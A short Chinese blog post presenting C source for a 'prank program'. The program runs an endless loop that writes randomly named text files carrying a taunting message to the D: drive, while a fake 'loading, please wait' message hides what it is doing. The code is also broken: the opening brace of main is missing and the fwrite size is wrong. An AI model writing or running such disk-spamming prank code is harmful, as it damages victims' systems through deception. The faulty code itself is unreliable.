欢迎光临散文网 会员登陆 & 注册

搞怪程序ing

2021-04-01 22:49 作者:烽火少年_  | 我要投稿

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <time.h>


int main(int argc, char *argv[])

// exit(1); 

srand(time(0));

   while(1){

    FILE* ft; char s[40]="D:\\",str[70]="告诉你了别打开,你不听!";

   // exit(1);

  s[3]=(char)(rand()%26+'A');

    s[4]=(char)(rand()%26+'a');

    s[5]=(char)(rand()%9+'0');

    strcat(s,".txt");

    printf("%s",s);

ft=fopen(s,"w+");

fwrite(str,sizeof(s),1,ft);

fclose(ft);

system("cls");

printf("正在加载,请耐心等待~~~~~\n");

    }

}

/*怎么才能凑够二百字呢?*/


搞怪程序ing的评论 (共 条)

分享到微博请遵守国家法律